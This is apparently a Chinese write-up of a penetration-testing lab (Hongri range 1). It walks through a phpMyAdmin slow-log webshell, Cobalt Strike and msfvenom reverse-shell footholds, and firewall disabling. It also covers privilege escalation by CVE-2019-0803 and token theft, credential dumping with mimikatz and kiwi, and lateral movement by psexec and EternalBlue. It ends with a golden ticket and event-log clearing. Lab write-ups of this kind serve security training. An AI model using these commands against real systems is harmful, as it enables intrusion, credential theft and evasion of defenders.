phpMyadmin后台getshell、令牌窃取提权、Win32k 特权提升漏洞
红日靶场1
环境配置
整体配置图如下

现在为三台靶机配置网卡
打开vm找到左上角编辑—>虚拟网络编辑器添加一段虚拟网络VMnet2,设置为仅主机

配置攻击机kali
这里使用我自己虚拟机的kali作为攻击机,添加网络适配器,设置为双网卡NAT,vm1

不过这里配置好后执行ifconfig后,并没有分配vm1网段的ip
手动添加一下
| 1 | sudo ip addr add 192.168.80.10/24 dev eth1 #分配ip | 

配置win7 x64
设置win7 x64为双网卡vm1,vm2

配置win2008
设置win2008为单网卡vm2

配置win2k3
设置win2k3为单网卡vm2

启动phpstudy服务
打开win7 x64,用hongrisec@2019密码进行登录(三台靶机密码相同)
找到C:\phpStudy的phpstudy后启动服务,结果发现phpstudy停止工作

去网上搜了下找到解决办法,升级下虚拟机就行了
我这里选择最新的16.2版本

然后点击更改此虚拟机

升级好后重新打开win7 x64,成功启动服务

访问localhost/yxcms,出现下图说明搭建成功

注意:在渗透过程中所有主机都需要打开
信息搜集
用nmap扫描一下端口
| 1 | nmap -sC -v 192.168.80.128 | 
扫描结果如下
| 1 | PORT STATE SERVICE | 
存在80端口我们直接访问

dirsearch扫一下目录,忽略掉403
| 1 | dirsearch -u http://192.168.80.128/ -x 403 | 

外网打点
扫出来发现有/phpMyadmin,访问用root:root成功登录

我们先看看是否有限制目录读写
| 1 | show variables like '%secure_file_priv%'; | 

如果为null的话表示不允许数据的导入和导出,那么无法进行写文件和读文件
这里可以利用慢日志来写shell,我们先查看慢日志是否被启用以及日志文件的位置
| 1 | show variables like '%slow_query_log%'; | 

我们写shell的话,这里需要开启慢查询并且修改日志文件存放路径
| 1 | set global slow_query_log=1; | 
然后执行查询语句,把一句话木马写到shell.php里
| 1 | select '<?php @eval($_POST[1]);?>' or sleep(11); | 

写完shell后用蚁剑连接

我们右键在此处打开终端

先看看是否存在杀软程序
| 1 | tasklist /SVC | 
将执行结果复制到在线网站查询一下
可以看到这台机子没有杀软,那么就简单多了

打法一
联动蚁剑上线cs
我们直接联动蚁剑上线cs,在cs文件夹打开终端
| 1 | chmod +x teamserver #给予服务端程序teamserver 执行权限 | 

开启服务端后,新建终端输入以下命令运行客户端程序
| 1 | java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar | 
新建配置文件,连接CS服务器
(主机和密码就是刚刚设置的,用户名随便填一个)

客户端启动成功后,右上角添加本地监听器

右上角攻击 -> 生成后门 -> Windows Executable,生成后门可执行文件
监听器选择刚刚创建的,勾选x64

将生成的可执行文件通过蚁剑上传到WWW目录下

右键打开终端,执行上传上去的shell.exe
成功上线cs

提升权限
方便操作,我们把回连间隔改为0使得输入的命令立刻执行
(实战不建议这样,容易被办)

右键进入beacon,上线cs第一件事把防火墙关了
| 1 | shell netsh advfirewall set allprofiles state off | 

补充:也可以远程登陆关闭防火墙
尝试远程登陆
| 1 | shell net user rev1ve sz@2019 /add #添加账户密码 | 
成功添加管理员用户

然后在攻击机执行以下命令
| 1 | rdesktop 192.168.80.128:3389 | 

方法一
关闭防火墙后,右键执行 -> 提权选择我们刚刚创建的监听器

执行exp,过一会拿到SYSTEM权限(把回连间隔也改为0)

方法二
尝试cve-2019-0803提权 exp链接
将下载的cve-2019-0803.exe上传到WWW目录下,执行以下命令
| 1 | shell cve-2019-0803.exe cmd "start shell.exe" | 
相当于再启动shell.exe木马文件,过一会拿到SYSTEM权限
内网渗透
内网信息搜集
查看网络适配器
| 1 | shell ipconfig | 

不难发现除了我们访问ip所在网段外,还存在内网192.168.52.0/24的网段
查看本地用户信息

查看本地管理员组

域内信息搜集
判断是否存在域环境
| 1 | shell net config Workstation | 
可以知道存在GOD域环境,域名为god.org

查看域列表

查看域用户信息
| 1 | shell wmic useraccount get Caption,Domain,Description | 
我们目前拿到的shell就是位于STU1

查看主域控制器
通过查询时间服务器来找到主域控制器名称
| 1 | shell net time /domain | 

定位主域控制器
拿到主域控制器名称后,执行以下命令定位目标主机在内网的IP
| 1 | shell ping owa.god.org | 

探测内网存活主机
基于ICMP发现存活主机
| 1 | for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL=" | 

也可以使用cs右键目标 -> 端口扫描

得到存活主机名单
| 1 | 192.168.52.143 #我们getshell机子的内网ip | 
使用fscan扫描内网存活主机
由于目标网段是内网,我们需要搭建一个一级网络代理
这里就不赘述
用户凭据收集
抓取 Hash

抓取明文密码
右键选择执行 -> run mimikatz

内网横向移动
我们目前拿到的是内网ip为192.168.52.143的控制权
不过这台机子并不在GOD域内,我们尝试切换目标为ip是192.168.52.138的域控
由于刚刚扫描发现445端口开放

那么先创建SMB监听器

然后在左上角点击显示目标

右键选择jump -> psexec

然后选择我们刚刚创建的SMB监听器,对端连接的隧道选择system权限的

不清楚这里为什么失败,搁置了很久

后面参考别人的wp,想到应该是这里psexec对应的密码我们是修改过的,我们将域控原始密码hongrisec@2019改为我们后面的新密码就行了
横向移动后,养成关闭防火墙习惯

成功进入域控,拿到最高权限
权限维持-黄金票据
这里需要再抓取一次hash和明文密码
抓取hash
右键选择执行 -> 转储hash
记住Krbtgt的hash值58e91a5ac358d86513ab224312314061

抓取明文密码
右键选择执行 -> run mimikatz

把SID,域名和hash复制下来
右键选择执行 -> 黄金票据

填进对应数据

出现下图视为成功

消除痕迹
在渗透过程中,痕迹清除非常非常重要,不清除容易被防守方溯源
| 1 | shell wevtutil cl security #清理安全日志 | 
到这里整个打靶流程就结束了
打法二
联动蚁剑上线msf
我们先生成msf的木马文件
| 1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.10 LPORT=1028 -f exe > exp.exe | 

开启msf监听
| 1 | use exploit/multi/handler | 
通过蚁剑上传木马文件并执行,拿到meterpreter会话

执行shell命令,输入chcp 65001解决中文乱码问题

上线msf第一件事关闭防火墙
| 1 | netsh advfirewall set allprofiles state off | 

权限提升
我们可以知道目前是administrator管理员权限
尝试窃取SYSTEM权限令牌,在meterpreter会话依次执行以下命令
| 1 | load incognito #加载incognito模块 | 
成功拿到最高权限

内网渗透
内网信息搜集
和打法一相同不再赘述
域内信息搜集
和打法一相同不再赘述
探测内网存活主机
由于我们拿到shell了,利用后渗透阶段的基于arp协议探测
| 1 | run post/windows/gather/arp_scanner rhosts=192.168.52.0/24 | 

用户凭据收集
抓取Hash
可以使用模块smart hashdump
| 1 | run windows/gather/smart_hashdump | 

也可以执行以下命令
| 1 | run hashdump | 

抓取明文密码
前提条件:
- SYSTEM权限
- meterpreter进程迁移到一个64位程序的进程中
使用msf中的kiwi模块
| 1 | load kiwi #加载kiwi模块 | 
我们现在执行creds_all不行,原因在于我们的meterpreter进程在86位进程中

我们可以选择迁移PID为516的lsass.exe进程

获取明文密码

内网横向移动
我们前面知道还存在192.168.52.0/24网段,借助MSF 的 autoroute 模块去访问内网网段
静态路由配置
| 1 | #加载MSF的autoroute模块,获取当前机器的所有网段信息 | 
可以看到已经存在该内网网段,就不用再添加了

尝试探测域控主机的445端口是否开放
使用auxiliary/scanner/portscan/tcp模块

开启445端口的话,尝试使用永恒之蓝漏洞
| 1 | use exploit/windows/smb/ms17_010_eternalblue | 

成功拿到域控的最高权限

参考文章
解决小皮停止工作:
靶场wp:
- https://blog.csdn.net/qq_52849046/article/details/139163010
- https://blog.csdn.net/qq_43531669/article/details/129945347
msf抓取明文密码: